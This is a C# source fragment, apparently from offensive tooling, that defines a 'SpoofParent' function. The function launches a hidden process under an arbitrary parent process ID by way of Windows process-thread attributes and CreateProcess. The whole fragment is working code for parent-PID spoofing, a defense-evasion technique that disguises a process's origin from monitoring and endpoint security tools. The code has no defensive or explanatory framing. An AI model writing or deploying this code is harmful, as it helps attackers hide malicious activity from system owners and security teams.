public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref Structs.SECURITY_ATTRIBUTES lpProcessAttributes, ref Structs.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref Structs.STARTUPINFOEX lpStartupInfo, out Structs.PROCESS_INFORMATION lpProcessInformation);
public static bool SpoofParent(int parentProcessId, string binaryPath, string cmdLine)
{
// STARTUPINFOEX members
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
// STARTUPINFO members (dwFlags and wShowWindow)
const int STARTF_USESTDHANDLES = 0x00000100;
const int STARTF_USESHOWWINDOW = 0x00000001;
const short SW_HIDE = 0x0000;
// dwCreationFlags
const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
const uint CREATE_NO_WINDOW = 0x08000000;
//var error = Marshal.GetLastWin32Error();
var pInfo = new Structs.PROCESS_INFORMATION();
var siEx = new Structs.STARTUPINFOEX();
// Be sure to set the cb member of the STARTUPINFO structure to sizeof(STARTUPINFOEX).
siEx.StartupInfo.cb = Marshal.SizeOf(siEx);
IntPtr lpValueProc = IntPtr.Zero;
IntPtr hSourceProcessHandle = IntPtr.Zero;
if (parentProcessId > 0)
{
var lpSize = IntPtr.Zero;
var success = WinAPI.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
if (success || lpSize == IntPtr.Zero)
{
return(false);
}
Console.WriteLine("successfully used InitializeProcThreadAttributeList ");
siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
success = WinAPI.InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, ref lpSize);
if (!success)
{
return(false);
}
Console.WriteLine("successfully used InitializeProcThreadAttributeList");
IntPtr parentHandle = WinAPI.OpenProcess(Structs.ProcessAccessFlags.CreateProcess | Structs.ProcessAccessFlags.DuplicateHandle, false, parentProcessId);
if (parentHandle == null)
{
return(false);
}
Console.WriteLine("obtained a handle to parent process");
// This value should persist until the attribute list is destroyed using the DeleteProcThreadAttributeList function
lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValueProc, parentHandle);
success = WinAPI.UpdateProcThreadAttribute(siEx.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
if (!success)
{
return(false);
}
Console.WriteLine("successfully used UpdateProcThreadAttribute");
IntPtr hCurrent = System.Diagnostics.Process.GetCurrentProcess().Handle;
IntPtr hNewParent = WinAPI.OpenProcess(Structs.ProcessAccessFlags.DuplicateHandle, true, parentProcessId);
if (hNewParent == null)
{
return(false);
}
Console.WriteLine("successfully used OpenProcess");
}
siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
siEx.StartupInfo.wShowWindow = SW_HIDE;
var ps = new Structs.SECURITY_ATTRIBUTES();
var ts = new Structs.SECURITY_ATTRIBUTES();
ps.nLength = Marshal.SizeOf(ps);
ts.nLength = Marshal.SizeOf(ts);
//bool ret = CreateProcess(null, command, ref ps, ref ts, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo);
Console.WriteLine("About to call create processd");
bool ret = WinAPI.CreateProcess(binaryPath, cmdLine, ref ps, ref ts, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo);
Console.WriteLine(Marshal.GetLastWin32Error());
if (!ret)
{
Console.WriteLine("[!] Proccess failed to execute!");
return(false);
}
Console.WriteLine("successfully used CreateProcess");
return(true);
}